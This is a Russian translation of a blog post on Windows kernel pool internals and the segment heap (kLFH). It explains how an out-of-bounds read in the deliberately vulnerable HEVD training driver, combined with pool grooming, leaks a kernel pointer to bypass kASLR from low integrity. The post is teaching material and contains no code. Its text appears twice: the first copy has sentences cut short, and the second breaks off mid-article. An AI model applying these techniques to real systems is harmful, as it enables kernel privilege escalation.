Введение
Я пишу этот пост, так как заканчиваю потрясающий курс от HackSys Team. Этот тренинг окончательно прояснил для меня пул ядра Windows. Во время обучения я получил много указаний (в оригинале тут слово pointers, небольшой каламбур от автора) ко всему, от введения в понимание работы кучи ядра с низкой фрагментацией (kLFH) до очистки пула. Поскольку я использую ведение блога, чтобы не только поделиться своими знаниями, но и закрепить концепции, написав о них, я хотел использовать драйвер HackSys Extreme Vulnerable Driver и ветвь win10-klfh (HEVD), чтобы связать вместе две уязвимости в драйвере из процесса с низкой целостностью - чтение за пределами границ и переполнение пула для достижения произвольного примитива чтения/записи. В этом посте, первой части этой серии, будет описано чтение за пределами диапазона и обход kASLR из Low-Integrity.
Процессы с Low-Integrity и процессы, защищенные AppContainer, такие как песочница браузера, предотвращают вызовы Windows API, такие как
В этом посте будут затронуты основные внутренние механизмы пула в Windows, который уже хорошо документирован, гораздо лучше, чем любая моя попытка сделать это, последствия kFLH с точки зрения разработки эксплойтов и использования уязвимостей чтения за пределами границ.
Внутреннее устройство пула Windows - tl;dr версия
В этом разделе будет немного рассказано о некоторых внутренних компонентах кучи, а также о том, как работает куча сегментов после 19H1. Во-первых, Windows предоставляет API
Прототип ExAllocatePoolWithTag можно увидеть ниже:
Первым параметром этой функции является
Хотя существует много разных типов выделения, обратите внимание, что все они по большей части предваряются
Что касается фрагментов пула, терминология в значительной степени соответствует фрагменту кучи, о котором я говорил в предыдущем блоге об эксплуатации браузера. Каждому фрагменту пула предшествует структура
Эта структура содержит метаданные о блоке в области видимости. Следует отметить одну интересную вещь: когда структура
Член
В качестве теста давайте установим точку останова на
После установки точки останова мы можем выполнить функцию и проверить возвращаемое значение, которое представляет собой выделенный фрагмент пула.
Обратите внимание, что член
Теперь поговорим о куче сегментов. Сегментная куча, которая уже была реализована в пользовательском режиме, была реализована в ядре Windows в сборке Windows 10 19H1. «Суть» сегментной кучи такова: когда компонент в ядре запрашивает некоторую динамическую память с помощью ранее упомянутых вызовов API теперь есть несколько вариантов, а именно четыре из них, которые могут обслуживать запрос. Это:
Уязвимости, упомянутые в этом сообщении, будут связаны с kLFH, поэтому для целей этого сообщения я настоятельно рекомендую прочитать этот документ, чтобы узнать больше о внутреннем устройстве каждого распределителя и просмотреть доклад Ярдена Шафира на BlackHat о внутреннем устройстве пула в эпоху сегментной кучи!
Для целей этого эксплойта и в качестве общего примечания давайте поговорим о том, как используется структура
Мы говорили о структуре
Любое выделение размера, которое не может поместиться в выделение сегмента переменного размера, в значительной степени попадет в kLFH. Здесь интересно то, что структура
Интересный факт о заголовках пула с кучей сегментов заключается в том, что kLFH, который будет целью этого сообщения, на самом деле все еще использует структуры
Блоки, выделенные сегментами kLFH и VS, показаны ниже.
Почему это важно? Для целей эксплуатации в части 2 в какой-то момент во время эксплуатации произойдет переполнение пула. Поскольку мы знаем, что перед фрагментами пула стоит заголовок, и поскольку мы знаем, что недопустимый заголовок приведет к сбою, мы должны помнить об этом. Используя наше переполнение, нам нужно будет убедиться, что во время эксплуатации присутствует допустимый заголовок. Поскольку наш эксплойт будет нацелен на kLFH, который по-прежнему использует стандартную структуру
«Последний кусок этой головоломки» - понять, как мы можем заставить систему выделять блоки пула через сегмент kLFH. KLFH обслуживает запросы размером от 1 до 16 368 байт. Сегмент kLFH также управляется структурой
В kLFH есть «buckets» для каждого размера распределения. Здесь tl;dr означает, что если вы хотите запустить kLFH, вам нужно сделать 16 последовательных запросов к bucket одинакового размера. Всего 129 bucket, и каждая корзина имеет «степень детализации». Давайте посмотрим на диаграмму, чтобы увидеть определяющие факторы того, где размещается распределение в kLFH, в зависимости от размера, который был взят из ранее упомянутой статьи Корентина и Пола.
Это означает, что любое выделение с гранулярностью 16 байт (например, 1-16 байтов, 17-31 байт и т. Д.) До тех пор, пока гранулярность 64 байта не помещается в сегменты 1-64, начиная с сегмента 1 для выделения 1-16. байтов, сегмент 2 для 17–31 байтов и так далее, вплоть до степени детализации в 512 байт. Все, что больше, либо обслуживается сегментом VS, либо другими различными компонентами кучи сегментов.
Допустим, мы выполняем распыление объектов размером 0x40 байт, и мы делаем это 100 раз. Мы можем ожидать, что большая часть этих выделений будет сохранена в kLFH из-за эвристики 16 последовательных выделений и поскольку размер соответствует одному из сегментов, предоставленных kLFH. Это очень полезно для эксплуатации, так как это означает, что есть большая вероятность, что мы сможем относительно хорошо очистить pool. Обработка относится к тому факту, что мы можем получить множество блоков пула, которые мы контролируем, выстроенных рядом друг с другом, чтобы сделать эксплуатацию надежной. Например, если мы можем обработать пул объектами, которые мы контролируем, один за другим, мы можем гарантировать, что переполнение пула приведет к переполнению данных, которые мы контролируем, что приведет к эксплуатации. Мы еще коснемся этого вопроса в будущем.
kLFH также использует эти заранее определенные сегменты для управления фрагментами. Это также удаляет нечто, известное как объединение, когда диспетчер пула объединяет несколько свободных фрагментов в более крупный фрагмент для повышения производительности. Теперь, с kLFH, благодаря архитектуре, мы знаем, что если мы освободим объект в kLFH, мы можем ожидать, что свободное пространство останется до тех пор, пока оно снова не будет использовано в выделении для этого фрагмента определенного размера! Например, если мы работаем в bucket 1, которое может содержать что угодно от 1 байта до 1008 байтов, и мы выделяем два объекта размером 1008 байтов, а затем освобождаем эти объекты, менеджер пула не будет объединять эти слоты, потому что это приведет к получению свободного фрагмента размером 2016 байтов, который не помещается в backet, которое может содержать только 1–1008 байтов. Это означает, что kLFH будет держать эти слоты свободными до тех пор, пока не придет следующее выделение этого размера и не использует его. Это также будет полезно в дальнейшем.
Однако каковы недостатки kLFH? Поскольку kLFH использует предопределенные размеры, нам нужно быть очень удачливым, чтобы драйвер выделял объекты, которые имеют тот же размер, что и уязвимый объект, который можно переполнять или манипулировать. Допустим, на этой искусно созданной диаграмме Microsoft Paint мы можем выполнить переполнение пула в соседний блок как таковой.
Если это переполнение происходит, например, в backet kLFH на
Последнее, что нужно сказать, прежде чем мы перейдем к out-of-bounds чтению это то, что некоторые из элементов этого эксплойта слегка надуманы, чтобы описать успешную эксплуатацию. Я скажу, однако, что я видел драйверы, которые выделяют память пула, позволяют неаутентифицированным клиентам указывать размер выделения, а затем возвращать содержимое в пользовательский режим - так что это не означает, что нет плохо написанных драйверов. Я просто хочу отметить, что этот пост больше о базовых концепциях эксплуатации пула в эпоху кучи сегментов, а не о каком-то «новом» способе обойти некоторые положения, касающиеся кучи сегментов. А теперь перейдем к эксплуатации.
От Out-of-Bounds к обходу kASLR - Low-Integrity эксплуатация
Давайте посмотрим на файл в HEVD под названием
Приведенный выше фрагмент кода представляет собой функцию, которая определяется как
После того, как фрагмент пула выделен в
После инициализации буфера значением 0x70 0x41 символов первый определенный параметр в
Мы видим, что первый аргумент, переданный в
По сути, здесь происходит то, что клиент пользовательского режима может указать размер и буфер, которые будут использоваться при вызове
Пропустив директиву
В чем проблема?
В этом случае выделенный фрагмент пула составляет
Если для функции
Если размер операции копирования превышает размер выделения 0x70 байт, количество байтов после 0x70 берется из соседнего фрагмента и также возвращается обратно в пользовательский режим. В случае предоставления значения 0x100 в параметре размера, которым управляет вызывающая сторона, байты 0x70 из выделения будут скопированы обратно в пользователя, а следующие 0x30 байтов из соседнего фрагмента также будут скопированы обратно в пользовательский режим. Давайте проверим это в WinDbg.
Для краткости, процедура доступа к этому коду осуществляется через IOCTL
Мы можем начать с установки точки останова на
В соответствии с соглашением о вызовах
Затем мы можем установить точку останова для
После выполнения вызова мы можем проверить возвращаемое значение в RAX.
Мы знаем, что код IOCTL в этом случае выделил фрагмент пула размером 0x70 байт, но каждое выделение в пуле, в котором находится наш фрагмент, которое обозначено звездочкой выше, на самом деле составляет 0x80 байтов. Помните - каждому фрагменту в kLFH предшествует структура
Общий размер этого фрагмента пула с заголовком составляет 0x80 байт. Вспомните ранее, когда мы говорили о kLFH, что это распределение размера попадет в kLFH! Мы знаем, что следующее, что сделает код в этой ситуации, - это скопировать значения 0x41 во вновь выделенный фрагмент. Давайте установим точку останова на
Проверяя возвращаемое значение, мы видим, что буфер был инициализирован значениями 0x41.
Следующее действие, как мы можем вспомнить, - это копирование данных из только что выделенного фрагмента в пользовательский режим. Установив точку останова на вызове
Обратите внимание, что значение в RCX, которое является адресом пользовательского режима (и адресом нашего выходного буфера, предоставленным
После выполнения вызова
Это ожидаемое поведение драйвера. Однако давайте попробуем увеличить размер выходного буфера и посмотрим, что произойдет в соответствии с нашей гипотезой об этой уязвимости. На этот раз давайте установим выходной буфер на 0x100.
На этот раз давайте просто проверим вызов
Обратите внимание на выделенный выше контент после значений 0x41.
Давайте теперь проверим фрагменты пула в этом пуле и рассмотрим фрагмент, примыкающий к нашему фрагменту пула Hack.
В прошлый раз, когда мы выполнили вызов IOCTL, только значения 0x41 были возвращены в пользовательский режим. Однако напомним, что на этот раз мы указали значение 0x100. Это означает, что на этот раз мы также должны вернуть следующие 0x30 байтов после фрагмента пула взлома обратно в пользовательский режим. Взглянем на предыдущее изображение, которое показывает, что следующий за фрагментом Hack фрагмент - это
Эти 0x10 байтов плюс следующие 0x20 байтов должны быть возвращены нам в пользовательском режиме, поскольку мы указали, что хотим выйти за пределы блока пула, следовательно получаем чтение out-of-bounds. Запустив POC, мы увидим, что это так!
Мы видим, за вычетом некоторого безумия порядка байтов, которое происходит, мы успешно прочитали память из соседнего блока! Это очень полезно, но помните, какова наша цель - мы хотим обойти kASLR. Это означает, что нам нужно получить какой-то указатель либо из драйвера, либо из самого
Ведём собаку к парикмахеру
*Тут игра слов, так как собачий парикмахер - groomer. А мы выполняем pool grooming
До этого момента мы знали, что можем считывать данные из соседних блоков пула, но на данный момент рядом с этими блоками нет ничего интересного. Итак, как нам с этим бороться? Давайте поговорим о нескольких предположениях:
Как мы видим, на этой странице в пуле есть несколько свободных слотов. Если мы разместили объект размером 0x80 (технически 0x70, где _POOL_HEADER создается динамически), у нас нет способа узнать, или нет способа принудительно выполнить выделение в предсказуемом месте. При этом kLFH может вообще не быть включен из-за эвристического требования 16 последовательных выделений одного и того же размера. Что нам остаётся? Что ж, что мы можем сделать, так это сначала убедиться, что kLFH включен, а затем также «заполнить» все «дыры» или освобожденные выделения в данный момент набором объектов. Это заставит диспетчер памяти полностью выделить новую страницу для обслуживания новых выделений. Этот процесс, когда диспетчер памяти выделяет новую страницу для будущих распределений в ведре kLFH, идеален, поскольку дает нам «чистый лист» для начала без случайных свободных фрагментов, которые можно было бы обслуживать через случайные промежутки времени. Мы хотим сделать это до того, как мы вызовем IOCTL, который запускает функцию
Вспомним предыдущее изображение, на котором показано, где в настоящее время заканчивается уязвимый фрагмент пула.
Органически, без какой-либо обработки / распыления, мы видим, что на этой странице есть несколько других типов объектов. Примечательно, что мы можем увидеть несколько
Эта функция возвращает дескриптор объекта, который технически является блоком пула в режиме ядра. Это напоминает то, когда мы получаем дескриптор драйвера для вызова CreateFile. Дескриптор - это промежуточный объект, с которым мы можем взаимодействовать из пользовательского режима, в котором есть компонент режима ядра.
Давайте обновим код, чтобы использовать
После выполнения обновленного кода и установки точки останова в месте копирования с уязвимым фрагментом пула взгляните на состояние страницы, содержащей фрагмент пула.
Это еще не идеальное состояние, но обратите внимание, как мы повлияли на макет страницы. Теперь мы видим, что есть много свободных объектов и несколько объектов событий. Это напоминает поведение, когда мы получаем новую страницу для уязвимого фрагмента, так как наш уязвимый фрагмент представляет собой предисловие с несколькими объектами событий, а наш уязвимый фрагмент выделяется сразу после него. Мы также можем выполнить дополнительный анализ, проверив предыдущую страницу (напомним, что для наших целей в этой 64-битной установке Windows 10 размер страницы составляет 0x1000 байт из 4 КБ).
Кажется, что все предыдущие свободные блоки были заполнены объектами событий!
Однако обратите внимание, что расположение пула не идеальное. Это связано с тем, что другие компоненты ядра также используют kLFH backet для выделения байтов 0x70 (0x80 с _POOL_HEADER).
Теперь, когда мы знаем, что можем влиять на поведение пула от распыления, цель теперь состоит в том, чтобы выделить всю новую страницу объектами событий, а затем освободить все остальные объекты на странице, которую мы контролируем, на новой странице. Это позволит нам затем, сразу после освобождения любого другого объекта, создать другой объект того же размера, что и объект (ы) события, который мы только что освободили. Таким образом, kLFH из-за оптимизации заполнит свободные слоты новыми объектами, которые мы размещаем. Это связано с тем, что текущая страница - единственная страница, на которой должны быть свободные слоты в
Хотелось бы, чтобы схема бассейна выглядела так (пока):
Итак, какой объект мы хотели бы поместить в «дыры», которые мы хотим проткнуть? Это тот объект, который мы хотим вернуть обратно в пользовательский режим, поэтому он должен содержать либо ценную информацию о ядре, либо указатель на функцию. Это самая сложная / самая утомительная часть повреждения пула - найти что-то, что не только имеет необходимый размер, но и содержит ценную информацию. Это особенно важно, если вы не можете использовать общий объект Windows и вам нужно использовать структуру, специфичную для драйвера.
В любом случае, следующая часть немного «упрощена». Потребуется немного реверсинга/отладки для вызовов, которые выделяют блоки пула для объектов, чтобы найти подходящего кандидата. Подойти к этому, по крайней мере, на мой взгляд, можно следующим образом:
Эта структура используется в вызове функции в
Член обратного вызова, который имеет тип
Это кажется идеальным кандидатом! Цель будет состоять в том, чтобы вернуть эту структуру в пользовательский режим с уязвимостью чтения за пределами диапазона! Единственный фактор, который остается, - это размер - нам нужно убедиться, что этот объект также имеет размер 0x70 байт, чтобы он попал на ту же страницу пула, которую мы контролируем.
Давайте проверим это в WinDbg. Чтобы получить доступ к функции
Код IOCTL, необходимый для выполнения этой процедуры, для краткости:
Слегка надуманный, но тем не менее верный, создаваемый здесь объект также имеет размер 0x70 байт (без структуры
Используя подпрограмму memcpy (
Мы видим, что фрагменты с тегами Hack, которые являются фрагментами
Поскольку существует много смежных блоков, это приведет к утечке информации. Причина этого в том, что kLFH имеет некоторую "фанковость". Это не обязательно связано с какой-либо «рандомизацией» kLFH, как я узнал после разговора с моим коллегой Ярденом Шафиром, где будут находиться свободные фрагменты/где будут происходить распределения, но из-за сложности расположения подсегментов, кеширование и т. д. Вещи могут усложняться довольно быстро. Это выходит за рамки этого сообщения в блоге.
Однако это становится проблемой только тогда, когда клиенты могут читать за пределами границы, но не могут указать, сколько байтов за пределами границы они могут прочитать. Это привело бы к тому, что эксплойтам нужно было запускать несколько раз, чтобы утечка действительного адреса ядра, пока чанки не стали смежными. Тем не менее, я уверен, что тот, кто лучше меня разбирается в pool grooming, легко сможет это понять
.
Теперь, когда мы можем подготовить пул достаточно прилично, следующим шагом будет замена остальных объектов событий на уязвимые объекты из-за уязвимости чтения за пределами границ! Желаемая планировка пула будет такая:
Почему мы хотим, чтобы это был желаемый макет? Каждый из
Для этого давайте обновим код следующим образом.
После освобождения объектов событий и обратного чтения данных из соседних фрагментов запускается цикл for для анализа вывода на предмет наличия всего, что имеет расширенный знак (адрес режима ядра). Поскольку выходной буфер будет возвращен в виде массива
Выполнение финального эксплойта с использованием той же точки останова при последнем вызове
Приведенное выше изображение немного сложно расшифровать, учитывая, что и уязвимые блоки, и блоки
Затем мы можем вычесть расстояние от этого указателя функции до основания HEVD и соответствующим образом обновить наш код. Мы видим, что расстояние составляет
После выполнения расчета мы видим, что мы обошли kASLR из-за Low-Integrity, без каких-либо вызовов
Окончательный код можно увидеть ниже.
Вывод
Эксплойты ядра из браузеров, которые изолированы в песочнице, требуют таких утечек для успешного повышения привилегий. Во второй части этой серии мы объединим эту ошибку с уязвимостью переполнения пула HEVD, чтобы получить примитив чтения / записи и выполнить успешное EoP! Не стесняйтесь обращаться с комментариями, вопросами или исправлениями!
Мир, любовь и позитив
От ТС
Напомню, что эта статья является переводом. Оригинал доступен тут
Вторая часть статьи уже доступна на сайте автора, сделаю и её перевод как только появится время.
Перевод:
Azrv3l cпециально для xss.pro
Я пишу этот пост, так как заканчиваю потрясающий курс от HackSys Team. Этот тренинг окончательно прояснил для меня пул ядра Windows. Во время обучения я получил много указаний (в оригинале тут слово pointers, небольшой каламбур от автора) ко всему, от введения в понимание работы кучи ядра с низкой фрагментацией (kLFH) до очистки пула. Поскольку я использую ведение блога, чтобы не только поделиться своими знаниями, но и закрепить концепции, написав о них, я хотел использовать драйвер HackSys Extreme Vulnerable Driver и ветвь win10-klfh (HEVD), чтобы связать вместе две уязвимости в драйвере из процесса с низкой целостностью - чтение за пределами границ и переполнение пула для достижения произвольного примитива чтения/записи. В этом посте, первой части этой серии, будет описано чтение за пределами диапазона и обход kASLR из Low-Integrity.
Процессы с Low-Integrity и процессы, защищенные AppContainer, такие как песочница браузера, предотвращают вызовы Windows API, такие как
EnumDeviceDrivers и NtQuerySystemInformation, которые обычно используются для получения базового адреса для ntoskrnl.exe и/или других драйверов для эксплуатации ядра. Это условие требует общего обхода kASLR, как это было обычно в сборке Windows RS2 через объекты GDI или какой-либо тип уязвимости. Поскольку универсальные обходы kASLR теперь не только очень редки, редки и утечки информации, такие как чтение за пределами диапазона, де-факто являются стандартом обхода kASLR.В этом посте будут затронуты основные внутренние механизмы пула в Windows, который уже хорошо документирован, гораздо лучше, чем любая моя попытка сделать это, последствия kFLH с точки зрения разработки эксплойтов и использования уязвимостей чтения за пределами границ.
Внутреннее устройство пула Windows - tl;dr версия
В этом разделе будет немного рассказано о некоторых внутренних компонентах кучи, а также о том, как работает куча сегментов после 19H1. Во-первых, Windows предоставляет API
ExAllocatePoolWithTag, основной API, используемый для выделения пулов, из которого драйверы режима ядра могут выделять динамическую память, как malloc из пользовательского режима. Однако драйверы, предназначенные для Windows 10 2004 или более поздней версии, согласно Microsoft, должны использовать ExAllocatePool2 вместо ExAllocatePoolWithTag, который, по-видимому, устарел. Для целей этого блога мы будем называть «основную функцию распределения» ExAllocatePoolWithTag. Одно слово о «новых» API - это то, что они инициализируют выделенные фрагменты пула нулём.Прототип ExAllocatePoolWithTag можно увидеть ниже:
Первым параметром этой функции является
POOL_TYPE, который относится к типу перечисления, который указывает тип выделяемой памяти. Эти значения можно увидеть ниже.
Хотя существует много разных типов выделения, обратите внимание, что все они по большей части предваряются
NonPagedPool или PagedPool. Это связано с тем, что в Windows распределение пулов происходит из этих двух пулов (или они поступают из пула сеансов, что выходит за рамки этого сообщения и используется win32k.sys). В пользовательском режиме у разработчиков есть куча процесса по умолчанию для выделения фрагментов, или они также могут создавать свои собственные частные кучи. Пул Windows работает немного иначе, поскольку система заранее определяет два пула (для наших целей) памяти для обслуживания запросов в ядре. Напомним также, что выделения в paged pool могут быть выгружены из памяти. Выделения в non-paged pool всегда будут выгружаться в памяти. Это в основном означает, что память в NonPagedPool/NonPagedPoolNx всегда доступна. Это предостережение также означает, что non-paged pool является более «дорогим» ресурсом и должен использоваться соответствующим образом.Что касается фрагментов пула, терминология в значительной степени соответствует фрагменту кучи, о котором я говорил в предыдущем блоге об эксплуатации браузера. Каждому фрагменту пула предшествует структура
_POOL_HEADER размером 0x10 байт в 64-битной системе, которую можно найти с помощью WinDbg.
Эта структура содержит метаданные о блоке в области видимости. Следует отметить одну интересную вещь: когда структура
_POOL_HEADER освобождается и не является допустимым заголовком, произойдет сбой системы.Член
ProcessBilled этой структуры является указателем на объект _EPROCESS, который произвел выделение, но только если PoolQuota был установлен в параметре PoolType при вызове ExAllocatePoolWithTag. Обратите внимание, что со смещением 0x8 в этой структуре есть член объединения, так как два члена находятся со смещением 0x8.В качестве теста давайте установим точку останова на
nt!ExAllocatePoolWithTag. Поскольку ядро Windows будет постоянно вызывать эту функцию, нам не нужно создавать драйвер, который вызывает эту функцию, поскольку система уже будет это делать.После установки точки останова мы можем выполнить функцию и проверить возвращаемое значение, которое представляет собой выделенный фрагмент пула.
Обратите внимание, что член
ProcessBilled не является действительным указателем на объект _EPROCESS. Причина в том, что это обычный вызов nt!ExAllocatePoolWithTag без какого-либо безумного планирования квот, что означает, что член ProcessBilled не установлен. Поскольку AllocatorBackTraceIndex и PoolTagHash, очевидно, хранятся в объединении, основываясь на том факте, что члены ProcessBilled и AllocatorBackTraceIndex находятся с одинаковым смещением в памяти, два члена AllocatorBackTraceIndex и PoolTagHash фактически «переносятся» в член ProcessBilled. Это ни на что не повлияет, поскольку член ProcessBilled не учитывается из-за того, что PoolQuota не была установлена в параметре PoolType, и именно так WinDbg интерпретирует структуру памяти. Если задан PoolQuota, указатель EPROCESS фактически XOR'd со случайным «cookie», а это означает, что если вы хотите восстановить этот заголовок, вам сначала потребуется утечка cookie. Эта информация будет полезна позже при рассмотрении уязвимости переполнения пула в части 2, которая не будет использовать PoolQuota.Теперь поговорим о куче сегментов. Сегментная куча, которая уже была реализована в пользовательском режиме, была реализована в ядре Windows в сборке Windows 10 19H1. «Суть» сегментной кучи такова: когда компонент в ядре запрашивает некоторую динамическую память с помощью ранее упомянутых вызовов API теперь есть несколько вариантов, а именно четыре из них, которые могут обслуживать запрос. Это:
- Low Fragmentation Heap (kLFH)
- Variable Size (VS)
- Segment Alloc
- Large Alloc
_SEGMENT_HEAP, как показано ниже, которая предоставляет ссылки на различные «сегменты», используемые для пула, и содержит метаданные для пула.
Уязвимости, упомянутые в этом сообщении, будут связаны с kLFH, поэтому для целей этого сообщения я настоятельно рекомендую прочитать этот документ, чтобы узнать больше о внутреннем устройстве каждого распределителя и просмотреть доклад Ярдена Шафира на BlackHat о внутреннем устройстве пула в эпоху сегментной кучи!
Для целей этого эксплойта и в качестве общего примечания давайте поговорим о том, как используется структура
_POOL_HEADER.Мы говорили о структуре
_POOL_HEADER ранее, но давайте углубимся в эту концепцию, чтобы увидеть, используется ли она при включенной куче сегментов.Любое выделение размера, которое не может поместиться в выделение сегмента переменного размера, в значительной степени попадет в kLFH. Здесь интересно то, что структура
_POOL_HEADER больше не используется для фрагментов в сегменте VS. Чанкам, выделенным с использованием сегмента VS, на самом деле предшествуют предисловия со структурой заголовка под названием _HEAP_VS_CHUNK_HEADER, на которую мне указал мой коллега Ярден Шафир. Эту структуру можно увидеть в WinDbg.
Интересный факт о заголовках пула с кучей сегментов заключается в том, что kLFH, который будет целью этого сообщения, на самом деле все еще использует структуры
_POOL_HEADER для предварения фрагментов пула.Блоки, выделенные сегментами kLFH и VS, показаны ниже.
Почему это важно? Для целей эксплуатации в части 2 в какой-то момент во время эксплуатации произойдет переполнение пула. Поскольку мы знаем, что перед фрагментами пула стоит заголовок, и поскольку мы знаем, что недопустимый заголовок приведет к сбою, мы должны помнить об этом. Используя наше переполнение, нам нужно будет убедиться, что во время эксплуатации присутствует допустимый заголовок. Поскольку наш эксплойт будет нацелен на kLFH, который по-прежнему использует стандартную структуру
_POOL_HEADER без кодирования, позже это окажется довольно тривиальным. Однако _HEAP_VS_CHUNK_HEADER выполняет дополнительное кодирование своих членов.«Последний кусок этой головоломки» - понять, как мы можем заставить систему выделять блоки пула через сегмент kLFH. KLFH обслуживает запросы размером от 1 до 16 368 байт. Сегмент kLFH также управляется структурой
_HEAP_LFH_CONTEXT, которая может быть просмотрена в WinDbg.
В kLFH есть «buckets» для каждого размера распределения. Здесь tl;dr означает, что если вы хотите запустить kLFH, вам нужно сделать 16 последовательных запросов к bucket одинакового размера. Всего 129 bucket, и каждая корзина имеет «степень детализации». Давайте посмотрим на диаграмму, чтобы увидеть определяющие факторы того, где размещается распределение в kLFH, в зависимости от размера, который был взят из ранее упомянутой статьи Корентина и Пола.
Это означает, что любое выделение с гранулярностью 16 байт (например, 1-16 байтов, 17-31 байт и т. Д.) До тех пор, пока гранулярность 64 байта не помещается в сегменты 1-64, начиная с сегмента 1 для выделения 1-16. байтов, сегмент 2 для 17–31 байтов и так далее, вплоть до степени детализации в 512 байт. Все, что больше, либо обслуживается сегментом VS, либо другими различными компонентами кучи сегментов.
Допустим, мы выполняем распыление объектов размером 0x40 байт, и мы делаем это 100 раз. Мы можем ожидать, что большая часть этих выделений будет сохранена в kLFH из-за эвристики 16 последовательных выделений и поскольку размер соответствует одному из сегментов, предоставленных kLFH. Это очень полезно для эксплуатации, так как это означает, что есть большая вероятность, что мы сможем относительно хорошо очистить pool. Обработка относится к тому факту, что мы можем получить множество блоков пула, которые мы контролируем, выстроенных рядом друг с другом, чтобы сделать эксплуатацию надежной. Например, если мы можем обработать пул объектами, которые мы контролируем, один за другим, мы можем гарантировать, что переполнение пула приведет к переполнению данных, которые мы контролируем, что приведет к эксплуатации. Мы еще коснемся этого вопроса в будущем.
kLFH также использует эти заранее определенные сегменты для управления фрагментами. Это также удаляет нечто, известное как объединение, когда диспетчер пула объединяет несколько свободных фрагментов в более крупный фрагмент для повышения производительности. Теперь, с kLFH, благодаря архитектуре, мы знаем, что если мы освободим объект в kLFH, мы можем ожидать, что свободное пространство останется до тех пор, пока оно снова не будет использовано в выделении для этого фрагмента определенного размера! Например, если мы работаем в bucket 1, которое может содержать что угодно от 1 байта до 1008 байтов, и мы выделяем два объекта размером 1008 байтов, а затем освобождаем эти объекты, менеджер пула не будет объединять эти слоты, потому что это приведет к получению свободного фрагмента размером 2016 байтов, который не помещается в backet, которое может содержать только 1–1008 байтов. Это означает, что kLFH будет держать эти слоты свободными до тех пор, пока не придет следующее выделение этого размера и не использует его. Это также будет полезно в дальнейшем.
Однако каковы недостатки kLFH? Поскольку kLFH использует предопределенные размеры, нам нужно быть очень удачливым, чтобы драйвер выделял объекты, которые имеют тот же размер, что и уязвимый объект, который можно переполнять или манипулировать. Допустим, на этой искусно созданной диаграмме Microsoft Paint мы можем выполнить переполнение пула в соседний блок как таковой.
Если это переполнение происходит, например, в backet kLFH на
NonPagedPoolNx, мы знаем, что переполнение из одного фрагмента приведет к переполнению другого фрагмента ТОЧНОГО того же размера. Это связано с тем, что сегменты kLFH предопределяют, какие размеры разрешены в сегменте, а затем определяют размеры смежных фрагментов пула. Итак, в этой ситуации (и как мы продемонстрируем в этом посте) чанк, примыкающий к уязвимому чанку, должен иметь тот же размер, что и чанк, и должен быть выделен в пул того же типа, которым в данном случае является NonPagedPoolNx. Это сильно ограничивает объем объектов, которые мы можем использовать для очистки, поскольку нам нужно найти объекты, будь то объекты typedef из самого драйвера или собственный объект Windows, который может быть выделен из пользовательского режима, которые имеют тот же размер, что и объект мы переполнены. Не только это, но объект также должен содержать какой-то интересный член, например указатель на функцию, чтобы переполнение было целесообразным. Это означает, что теперь нам нужно найти объекты, которые ограничены определенным размером, размещены в том же пуле и содержат что-то интересное.Последнее, что нужно сказать, прежде чем мы перейдем к out-of-bounds чтению это то, что некоторые из элементов этого эксплойта слегка надуманы, чтобы описать успешную эксплуатацию. Я скажу, однако, что я видел драйверы, которые выделяют память пула, позволяют неаутентифицированным клиентам указывать размер выделения, а затем возвращать содержимое в пользовательский режим - так что это не означает, что нет плохо написанных драйверов. Я просто хочу отметить, что этот пост больше о базовых концепциях эксплуатации пула в эпоху кучи сегментов, а не о каком-то «новом» способе обойти некоторые положения, касающиеся кучи сегментов. А теперь перейдем к эксплуатации.
От Out-of-Bounds к обходу kASLR - Low-Integrity эксплуатация
Давайте посмотрим на файл в HEVD под названием
MemoryDisclosureNonPagedPoolNx.c. Мы начнем с кода и в конечном итоге перейдем к динамическому анализу с помощью WinDbg.
Приведенный выше фрагмент кода представляет собой функцию, которая определяется как
TriggerMemoryDisclosureNonPagedPoolNx. Эта функция имеет тип возврата NTSTATUS. Этот код вызывает ExAllocatePoolWithTag и создает блок пула в пуле ядра NonPagedPoolNx размером POOL_BUFFER_SIZE и с тегом пула POOL_TAG. Отслеживая значение POOL_BUFFER_SIZE в MemoryDisclosureNonPagedPoolNx.h, который включен в файл MemoryDisclosureNonPagedPoolNx.c, мы видим, что выделенный здесь фрагмент пула имеет размер 0x70 байт. POOL_TAG также включен в Common.h как kcaH, что более удобно для чтения как HackПосле того, как фрагмент пула выделен в
NonPagedPoolNx, он заполняется символами 0x41, точнее, 0x70, как показано в вызове RtlFillMemory. Здесь пока нет уязвимости, так как клиент, вызывающий IOCTL, который достигнет этой подпрограммы, пока ни на что не влияет. Давайте продолжим читать код, чтобы увидеть, что произойдет.
После инициализации буфера значением 0x70 0x41 символов первый определенный параметр в
TriggerMemoryDisclosureNonPagedPoolNx, который является PVOID UserOutputBuffer, является частью процедуры ProbeForWrite, чтобы гарантировать, что этот буфер находится в пользовательском режиме. Откуда взялся UserOutputBuffer (помимо очевидного названия)? Давайте посмотрим, откуда на самом деле вызывается функция TriggerMemoryDisclosureNonPagedPoolNx, которая находится в конце MemoryDisclosureNonPagedPoolNx.c.
Мы видим, что первый аргумент, переданный в
TriggerMemoryDisclosureNonPagedPoolNx, которая является функцией, которую мы до сих пор анализировали, передается аргумент с именем UserOutputBuffer. Эта переменная поступает из пакета запроса ввода-вывода (IRP), который был передан драйверу и создан клиентом, вызывающим DeviceIoControl для взаимодействия с драйвером. В частности, это происходит из структуры IO_STACK_LOCATION, которая всегда сопровождает IRP. Эта структура содержит множество членов и данных, используемых IRP для передачи информации драйверу. В этом случае связанная структура IO_STACK_LOCATION содержит большинство параметров, используемых клиентом при вызове DeviceIoControl. Сама структура IRP содержит параметр UserBuffer, который фактически является буфером вывода, предоставляемым клиентом с помощью DeviceIoControl. Это означает, что этот буфер будет возвращен обратно в пользовательский режим или любой клиент, если на то пошло, который отправляет код IOCTL, который достигает этой процедуры. Я знаю, что сейчас это кажется полным ртом, но я скажу «tl;dr» здесь через секунду.По сути, здесь происходит то, что клиент пользовательского режима может указать размер и буфер, которые будут использоваться при вызове
TriggerMemoryDisclosureNonPagedPoolNx. Давайте затем быстро взглянем на изображение выше, которое снова было показано ниже для краткости.
Пропустив директиву
#ifdef SECURE, которую, очевидно, должен использовать «безопасный» драйвер, мы увидим, что если выделение ранее упомянутого фрагмента пула, имеющего размер POOL_BUFFER_SIZE или 0x70 байт, было успешным - содержимое части пула записываются в переменную UserOutputBuffer, которая будет возвращена клиенту, вызывающему DeviceIoControl, а количество данных, скопированных в этот буфер, фактически определяется клиентом через параметр nOutBufferSize.В чем проблема?
